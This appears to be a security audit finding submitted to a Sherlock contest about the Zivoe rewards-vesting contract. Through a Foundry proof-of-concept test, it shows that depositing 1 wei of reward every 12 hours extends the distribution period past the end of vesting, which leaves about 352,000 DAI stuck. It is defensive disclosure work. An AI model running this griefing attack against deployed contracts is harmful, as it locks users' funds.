Mini Rouge Snail

high

# Rewards will be stuck in the `ZivoeRewardsVesting` contract without a way to withdraw them

## Summary
The `ZivoeRewardsVesting.sol` contract is susceptible to rewards getting stuck in the contract.

A tested scenarios under which this can happen

Malicious user spams the last reward distribution period by calling [`ZivoeRewardsVesting::depositReward(...)`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L352) to add a reward of `1 wei` at least twice a day or every hour to push the `periodEnd` beyond the end of the vesting period, if at the end of the vesting period all vesters call [`fullWithdraw()`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L370-L373) to exit/close their vested positions there will be undistributed reward remaining in the contract with no way to withdraw

## Vulnerability Detail
- The last reward is added for a 360 day vesting period on the 331st day,
- any malicious user can start calling [`ZivoeRewardsVesting::depositReward(...)`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L352) at least twice a day with `1 wei` of each reward asset (for example DAI) to push the new period finish forward and thus extend the distribution time.
- On day 361st day all vesters withdraw completely and with `rewardData[_rewardsToken].periodFinish` still at leat 2 week far ahead, some reward token is left undistributed in the contract with no way to withdraw it.
- The malicious vester can benefit from this by staying until the en of the `periodFinish` to claim all the remaing reward.
- if the attack is from a non vesting user, the funds are stuck with no way to claim

This test below shows that a malicious user can spam the last `ZivoeRewardsVesting` reward distribution to ensure users will not get their full reward and the undistributed reward will be stuck in the contract.

Add the test case below to the `Test_ZivoeRewardsVesting.sol` and run 
`forge test --mt test_ZivoeRewardsVesting_Rewards_Are_Stuck --rpc-url https://rpc.ankr.com/eth -vv`
you can use your own RPC url

```solidity
    function test_ZivoeRewardsVesting_Rewards_Are_Stuck() public {

        // sam, sue, sal, sid, jim, joe, jon, jen claim their airdrop and begin vesting
        (,, uint256 _ZVE_Vested_SAM) = sam.claimAirdrop(address(ITO), address(sam));
        (,, uint256 _ZVE_Vested_SUE) = sue.claimAirdrop(address(ITO), address(sue));
        (,, uint256 _ZVE_Vested_SAL) = sal.claimAirdrop(address(ITO), address(sal));
        (,, uint256 _ZVE_Vested_SID) = sid.claimAirdrop(address(ITO), address(sid));
        (,, uint256 _ZVE_Vested_JIM) = jim.claimAirdrop(address(ITO), address(jim));
        (,, uint256 _ZVE_Vested_JOE) = joe.claimAirdrop(address(ITO), address(joe));
        (,, uint256 _ZVE_Vested_JON) = jon.claimAirdrop(address(ITO), address(jon));
        (,, uint256 _ZVE_Vested_JEN) = jen.claimAirdrop(address(ITO), address(jen));

        assertEq(_ZVE_Vested_SAM, vestZVE.balanceOf(address(sam)));


        emit log("First reward is deposited");

        uint256 deposit = uint256(1_000_000 ether);

        // deposit 1_000_000DAI rewards
        depositReward_DAI(address(vestZVE), deposit);
        // 30 days up
        hevm.warp(block.timestamp + 30 days - 2);

        // all users withdraw fully (vest + reward) 
        assert(sam.try_fullWithdraw(address(vestZVE)));
        assert(sal.try_fullWithdraw(address(vestZVE)));
        assert(joe.try_fullWithdraw(address(vestZVE)));
        assert(jim.try_fullWithdraw(address(vestZVE)));
        assert(sue.try_fullWithdraw(address(vestZVE)));
        assert(sid.try_fullWithdraw(address(vestZVE)));
        assert(jon.try_fullWithdraw(address(vestZVE)));
        assert(jen.try_fullWithdraw(address(vestZVE)));

        // another reward of 1_000_000DAI is deposited at the end of 30 days 
        depositReward_DAI(address(vestZVE), deposit);

        // ... more rewards get added along the line

        // 129 days up
        hevm.warp(block.timestamp + 100 days - 2);



        // all users withdraw fully (vest + reward) 
        assert(sam.try_fullWithdraw(address(vestZVE)));
        assert(sal.try_fullWithdraw(address(vestZVE)));
        assert(joe.try_fullWithdraw(address(vestZVE)));
        assert(jim.try_fullWithdraw(address(vestZVE)));
        assert(sue.try_fullWithdraw(address(vestZVE)));
        assert(sid.try_fullWithdraw(address(vestZVE)));
        assert(jon.try_fullWithdraw(address(vestZVE)));
        assert(jen.try_fullWithdraw(address(vestZVE)));

        emit log_named_decimal_uint("Dai Reward balance at day 330 before adding rewards", IERC20(address(DAI)).balanceOf(address(vestZVE)), 18);

        // 330 days up
        hevm.warp(block.timestamp + 200 days + 10);
        // last reward distribution is suppose to end at the end of 30 days coliding with the end of the vesting period
        depositReward_DAI(address(vestZVE), deposit);
        emit log_named_decimal_uint("Dai Reward balance at day 330 after adding rewards", IERC20(address(DAI)).balanceOf(address(vestZVE)), 18);

        assertEq(vestZVE.lastTimeRewardApplicable(address(DAI)), block.timestamp);

        
        // @audit malicious user adds 1 wei of DAI rewards every 12hours for the last 30 days of vesting
        for (uint8 i = 0; i < 60; i++) {
            hevm.warp(block.timestamp + 43200);
            depositReward_DAI(address(vestZVE), 1 wei);
        }

				// 361 days up and vesting is complete
        hevm.warp(block.timestamp + 1 days);
        // vesting has ended and all vesters withdraw fully
        assert(sal.try_fullWithdraw(address(vestZVE)));
        assert(joe.try_fullWithdraw(address(vestZVE)));
        assert(jim.try_fullWithdraw(address(vestZVE)));
        assert(sue.try_fullWithdraw(address(vestZVE)));
        assert(sid.try_fullWithdraw(address(vestZVE)));
        assert(jon.try_fullWithdraw(address(vestZVE)));
        assert(jen.try_fullWithdraw(address(vestZVE)));
        assert(sam.try_fullWithdraw(address(vestZVE)));

        hevm.warp(block.timestamp + 10 days);
        // vesters have completely exited vesting
        assertEq(vestZVE.amountWithdrawable(address(sal)), 0);
        assertEq(vestZVE.amountWithdrawable(address(joe)), 0);
        assertEq(vestZVE.amountWithdrawable(address(jim)), 0);
        assertEq(vestZVE.amountWithdrawable(address(sue)), 0);
        assertEq(vestZVE.amountWithdrawable(address(sid)), 0);
        assertEq(vestZVE.amountWithdrawable(address(jon)), 0);
        assertEq(vestZVE.amountWithdrawable(address(jen)), 0);
        assertEq(vestZVE.amountWithdrawable(address(sam)), 0);
        
        // confirm there is still DAI rewards left after vesting ($352,000 left behind)
        assertEq(IERC20(address(DAI)).balanceOf(address(vestZVE)), 352632567061566742623902);
        
        hevm.warp(block.timestamp + 30 days);


        emit log_named_decimal_uint("Dai Reward balance at end of vesting (day 400)", IERC20(address(DAI)).balanceOf(address(vestZVE)), 18);

    }
```


## Impact
This can lead to loss of funds for the vesters who participated in `ITO` as the remaining rewards would be stuck in the contract without a means to withdraw them.

## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L352

https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L370-L373

## Tool used

Foundry test, Manual review

## Recommendation
- Add a function to allow admin to withdraw unclaimed reward tokens only at the end of vesting period
- Increase minimum amount of reward that can be added to the vesting contract using to prevent malicious users from spaming the distribution